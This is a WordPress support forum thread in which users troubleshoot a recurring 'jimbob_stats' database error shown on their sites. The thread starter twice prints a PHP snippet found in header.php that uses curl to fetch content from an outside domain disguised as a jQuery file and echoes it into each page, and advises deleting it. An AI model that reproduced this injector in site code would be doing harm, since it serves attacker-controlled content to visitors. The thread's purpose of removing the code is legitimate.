Title: Second Time getting this error
Last modified: August 20, 2016

---

# Second Time getting this error

 *  [dfagredam](https://wordpress.org/support/users/dfagredam/)
 * (@dfagredam)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/second-time-getting-this-error/)
 * Couldn’t connect to database server.Couldn’t find database jimbob_stats.An unexpected
   problem has occured with the application.SELECT statscurl_id FROM `statscurl`
   WHERE statscurl_ip = ”;
 * Does anyone have an idea of what this could be?

Viewing 8 replies - 1 through 8 (of 8 total)

 *  [manishleo97](https://wordpress.org/support/users/manishleo97/)
 * (@manishleo97)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/second-time-getting-this-error/#post-2955019)
 * Same problem facing.., What to do ??
 * Couldn’t connect to database server.Couldn’t find database jimbob_stats.An unexpected
   problem has occured with the application.SELECT statscurl_id FROM statscurl WHERE
   statscurl_ip = ”;
 *  Thread Starter [dfagredam](https://wordpress.org/support/users/dfagredam/)
 * (@dfagredam)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/second-time-getting-this-error/#post-2955025)
 * Well I don’t really know what to do. First I started deactivating some plugins
   and It worked well for one hour. It is really weird because the website works
   fine, but it shows that nasty message on top. I am working with chrome today,
   but yesterday it showed on explorer as well
 *  Thread Starter [dfagredam](https://wordpress.org/support/users/dfagredam/)
 * (@dfagredam)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/second-time-getting-this-error/#post-2955028)
 * Can you do Updates on yours?
 *  Thread Starter [dfagredam](https://wordpress.org/support/users/dfagredam/)
 * (@dfagredam)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/second-time-getting-this-error/#post-2955034)
 * Here is the solution I am testing right now, just in case someone else need it.
   
   Just be careful not to erase any other piece of code.
 * remove from the header.php:
    <?php
 * if(function_exists(‘curl_init’))
 * {
 *  $url = “[http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js&#8221](http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js&#8221);;
 *  $ch = curl_init();
 *  $timeout = 5;
 *  curl_setopt($ch,CURLOPT_URL,$url);
 *  curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
 *  curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
 *  $data = curl_exec($ch);
 *  curl_close($ch);
 *  echo “$data”;
 * }
 * ?>
 *  [azder](https://wordpress.org/support/users/azder/)
 * (@azder)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/second-time-getting-this-error/#post-2955048)
 * I’m also getting that error, but there is no such code in my header.php. Where
   else do I search for it? How do I search for it?
 *  Thread Starter [dfagredam](https://wordpress.org/support/users/dfagredam/)
 * (@dfagredam)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/second-time-getting-this-error/#post-2955049)
 * Chances are that if you are getting this error it is inside your code somewhere.
   My advice is get inside via ftp and get the file from the server, then do a search
   inside the file with notepad++ or coda. See what you can find. Good luck, it 
   is annoying
 *  [gkdreamz](https://wordpress.org/support/users/gkdreamz/)
 * (@gkdreamz)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/second-time-getting-this-error/#post-2955053)
 * i have also getting this below error `Couldn't connect to database server.Couldn't
   find database jimbob_stats.An unexpected problem has occured with the application.
   SELECT statscurl_id FROM`statscurl`WHERE statscurl_ip = '';`sometimes only.. 
   when i reloading my page ,then this error clear.. then working well,after again
   occur,again i doing reload. ?? what can i do..please help me to solve this problem
   mates..
 *  Thread Starter [dfagredam](https://wordpress.org/support/users/dfagredam/)
 * (@dfagredam)
 * [13 years, 8 months ago](https://wordpress.org/support/topic/second-time-getting-this-error/#post-2955055)
 * Well, I was going nuts over this error. And here is what i did, the last plugin
   that I installed before this started happening was the seo pack. so I erased 
   that. The same thing I did with all of the plugins that i was not using. last
   thing that I did and that is working fine is the code suppression that I have
   posted before. The way I did it is with the editor inside of wordpress. Erase
   that piece of code and hope it works for you. !!!!!!Copy all of the code you 
   have in there just in case and save it before attemping to do this. !!!!!
 * <?php
 * if(function_exists(‘curl_init’))
 * {
 * $url = “[http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js&#8221](http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js&#8221);;
 * $ch = curl_init();
 * $timeout = 5;
 * curl_setopt($ch,CURLOPT_URL,$url);
 * curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
 * curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
 * $data = curl_exec($ch);
 * curl_close($ch);
 * echo “$data”;
 * }
 * ?>

Viewing 8 replies - 1 through 8 (of 8 total)

The topic ‘Second Time getting this error’ is closed to new replies.

## Tags

 * [Database Error](https://wordpress.org/support/topic-tag/database-error/)
 * [WordPress Error](https://wordpress.org/support/topic-tag/wordpress-error/)

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 8 replies
 * 4 participants
 * Last reply from: [dfagredam](https://wordpress.org/support/users/dfagredam/)
 * Last activity: [13 years, 8 months ago](https://wordpress.org/support/topic/second-time-getting-this-error/#post-2955055)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
